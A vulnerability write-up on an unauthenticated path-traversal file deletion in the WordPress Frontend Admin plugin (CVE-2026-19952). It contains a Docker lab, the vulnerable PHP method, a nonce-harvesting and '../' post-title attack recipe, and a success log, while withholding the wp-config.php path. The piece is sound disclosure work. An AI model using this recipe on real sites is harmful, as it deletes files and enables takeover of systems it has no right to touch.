Research/CVE-2026-19952
N-dayCVE-2026-19952HighPublic

CVE-2026-19952: WordPress Frontend Admin, unauthenticated RCE

Frontend Admin 3.29.12 move_folders concatenates uploads/basedir with a merge-tagged directory name. [acf:post_title] is the POST title. ../ walks out of uploads and unlinks index.php. Public form, harvested nonce. 3.29.13 adds get_safe_upload_dir.

Name
CVE-2026-19952: WordPress Frontend Admin, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-19952
CVE Risk
high
Disclosure Status
public
Vendor
DynamiApps
Affected
Frontend Admin by DynamiApps (acf-frontend-form-element), all versions through 3.29.12; patched in 3.29.13
Published
19 Sept 2026
Updated
19 Sept 2026
Tags
n-day, wordpress, path-traversal, cwe-22, unauthenticated, rce

The title is the path

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-19952 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.

CVE-2026-19952 (NVD, GHSA-3rrx-59q7-9g4m, Wordfence) is unauthenticated arbitrary file deletion in Frontend Admin by DynamiApps 3.29.12, slug acf-frontend-form-element. CWE-22. 7.5 High as scored; deleting the right file (wp-config.php) is RCE. Patched in 3.29.13 (get_safe_upload_dir).

The advisory names move_folders. That is a PHP method hooked on acf/pre_update_value for type upload_files, not upload_file. HTTP is admin-ajax.php action=frontend_admin/form_submit, nopriv. The directory name is a merge tag on the submitted post title. If you POST action=move_folders you get 0 and nothing happens.

This is a different door than CVE-2026-75816 on the same plugin. That one was user_1 and email. This one is 3.29.12, after the Email edit_user check, and it still concatenates uploads/basedir with attacker-controlled ../.

This is the map I used to get from a form 200 to a file that was there and then was not. Isolated lab, loopback only. I am not publishing a wp-config.php delete. The witness is a unique string disappearing from a lab index.php. The stack is in the CVE repo so you can run it at home. The client is the repo above.

What an attacker can do

Guest POST a new post whose title is ../somewhere. The plugin deletes somewhere/index.php. Delete the right file and you are in RCE territory. The lab deletes a planted witness file, not wp-config.php.

The lab (run this at home)

Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 3.29.12 of the plugin next to compose as ./acf-frontend-form-element (SVN tag). Do not bind 3.29.13 if you want the sink.

Dockerfile
# Loopback lab image pin for CVE-2026-19952. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache
YAML
# CVE-2026-19952 local WordPress lab. Loopback only.
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
      interval: 5s
      timeout: 5s
      retries: 30
      start_period: 15s

  wordpress:
    image: wordpress:6.4-php8.2-apache
    ports:
      - "127.0.0.1:8088:80"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_DEBUG: "1"
      WORDPRESS_CONFIG_EXTRA: |
        define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
        define('WP_DEBUG_DISPLAY', false);
    volumes:
      - wp_data:/var/www/html
      - ./acf-frontend-form-element:/var/www/html/wp-content/plugins/acf-frontend-form-element:ro
    depends_on:
      db:
        condition: service_healthy

  wpcli:
    image: wordpress:cli
    user: "33:33"
    volumes:
      - wp_data:/var/www/html
      - ./acf-frontend-form-element:/var/www/html/wp-content/plugins/acf-frontend-form-element:ro
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    depends_on:
      wordpress:
        condition: service_started
    entrypoint: ["sleep", "infinity"]

volumes:
  wp_data:

docker-compose.override.yml only routes logs.

YAML
# App processes should log to stdout and/or /var/log/lab.
services:
  db:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/db:/var/log/lab
      - ./logs/db-mysql:/var/log/mysql
  wordpress:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/wordpress:/var/log/lab
      - ./logs/wordpress-apache:/var/log/apache2

The CVE needs a published admin_form with who_can_see=all, save_to_post=new_post, a post_title field, an upload_files field with custom_directory and custom_directory_name=[acf:post_title], a public page that renders that form, and a witness file under wp-content/poc19952/index.php. [post:title] bails while the post id is still add_post. [acf:post_title] takes the submitted title.

PHP
<?php
/**
 * Lab fixture for Frontend Admin 3.29.12 (CVE-2026-19952).
 * Public form, upload_files custom_directory, witness index.php.
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$wit_dir = WP_CONTENT_DIR . '/poc19952';
if ( ! is_dir( $wit_dir ) ) {
	wp_mkdir_p( $wit_dir );
}
file_put_contents( $wit_dir . '/index.php', "<?php echo 'POCWitness19952';\n" );

$form_id = wp_insert_post(
	array(
		'post_type'    => 'admin_form',
		'post_status'  => 'publish',
		'post_title'   => 'lab files form',
		'post_name'    => 'lab-files-form',
		'post_content' => serialize(
			array(
				'save_to_post'    => 'new_post',
				'new_post_type'   => 'post',
				'who_can_see'     => 'all',
				'form_conditions' => array(
					array(
						'who_can_see'         => 'all',
						'special_permissions' => array(),
						'applies_to'          => array( 'form' ),
					),
				),
			)
		),
	),
	true
);
update_post_meta( $form_id, 'form_key', 'form_lab19952' );
wp_insert_post(
	array(
		'post_type'    => 'page',
		'post_status'  => 'publish',
		'post_title'   => 'fea files lab',
		'post_name'    => 'fea-files-lab',
		'post_content' => '[frontend_admin form="' . (int) $form_id . '"]',
	),
	true
);

The full seed also inserts the post_title and upload_files fields with custom_directory_name=[acf:post_title].

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-19952
cd CVE-2026-19952/lab
svn export https://plugins.svn.wordpress.org/acf-frontend-form-element/tags/3.29.12 acf-frontend-form-element
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
  --url=http://127.0.0.1:8088 \
  --title='CVE-2026-19952 Lab' \
  --admin_user=admin \
  --admin_password=labadmin \
  --admin_email=lab@localhost.invalid \
  --skip-email
docker compose exec -T wpcli wp plugin activate acf-frontend-form-element
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-19952-Abraxas-Labs.py

The seed is the fixture above; it is not in lab/ on GitHub. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

Same nopriv frontend_admin/form_submit as 75816. Harvest _acf_form, _acf_nonce, _acf_objects, and the field keys from /fea-files-lab/. POST a title of ../poc19952 and a truthy files value so move_folders runs.

move_folders in 3.29.12:

PHP
function move_folders( $checked, $value, $post_id = false, $field = false ) {
    if ( ! $value ) return $checked;
    $uploads = wp_upload_dir();
    if ( ! empty( $field['custom_directory'] ) && ! empty( $field['custom_directory_name'] ) ) {
        $dir_name = $field['custom_directory_name'];
        $dir_name = fea_instance()->dynamic_values->get_dynamic_values( $dir_name );
        $create_directory = wp_mkdir_p( $uploads['basedir'] . '/' . $dir_name );
        if ( $create_directory ) {
            $upload_dir = $uploads['basedir'] . '/' . $dir_name;
            if ( empty( $field['secure_directory'] ) ) {
                if ( file_exists( $upload_dir . '/index.php' ) ) {
                    unlink( $upload_dir . '/index.php' );
                }
            }
        }
    }

wp_upload_dir() basedir plus $dir_name with no containment. ../poc19952 from uploads is wp-content/poc19952. wp_mkdir_p will create it if needed. Then, if secure_directory is off, it unlinks index.php in that directory. That is the sink. A title of ../../wp-config.php's parent is how this becomes "delete the right file." I am not going to print that path.

3.29.13 adds get_safe_upload_dir. That is the patch. Update.

The 200 that was a form without a delete

The first client I pointed at this was polite. It used action=move_folders or type upload_file. The hook is upload_files. You get 0, or success JSON, and the witness file is still there.

A few other ways to lose without learning anything:

  • [post:title] as the merge tag. On new_post the post id is still add_post and that tag bails. [acf:post_title] reads the submitted title.
  • Empty files field. if ( ! $value ) return. Send something truthy.
  • Hard-coded nonce. Harvest from the public form.
  • Success JSON alone. The file has to disappear.
  • Deleting wp-config.php. Theatre, and not the lab witness.
  • A reverse shell. This CVE is a delete.

The tell is: GET witness 200 with POCWitness19952, ajax small JSON, GET witness 301/404 without the string.

What I actually did

Treat the on-disk product as the spec. Wordfence named move_folders. I read the upload_files hook, then the merge tag, then planted a lab index.php. Proof of concept: CVE-2026-19952-Abraxas-Labs.py.

Witness, harvest, POST, witness. GET /wp-content/poc19952/index.php must contain the string. GET /fea-files-lab/ for hiddens. POST title ../poc19952 and files 1. GET the index again. The string must be gone.

Last lab run, trimmed:

Plain text
before status=200 len=15
witness present
harvest status=200
ajax status=200
{"success":true,"data":{"success_message":"Post updated"}}
after status=301
SUCCESS CVE-2026-19952

The file was there. Then it was not. That is the whole argument. The client that produced it is on GitHub.

Wrong turns: action=move_folders or type upload_file (the hook is upload_files); [post:title] on new_post (id is still add_post, that tag bails; [acf:post_title] reads the submitted title); empty files field (if ( ! $value ) return); success JSON alone; deleting wp-config.php.

What this is not

It is not 75816. Email edit_user does not contain this path. It is not an upload of PHP. It is unlink of whatever index.php sits in basedir plus the title.

Update to 3.29.13. Re-run the loopback client against the patched build: the witness file must still be there.

I am not going to print a title that deletes wp-config.php. The missing path containment and the merge tag are the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.

References

CVE-2026-19952: WordPress Frontend Admin, unauthenticated RCE · Abraxas Labs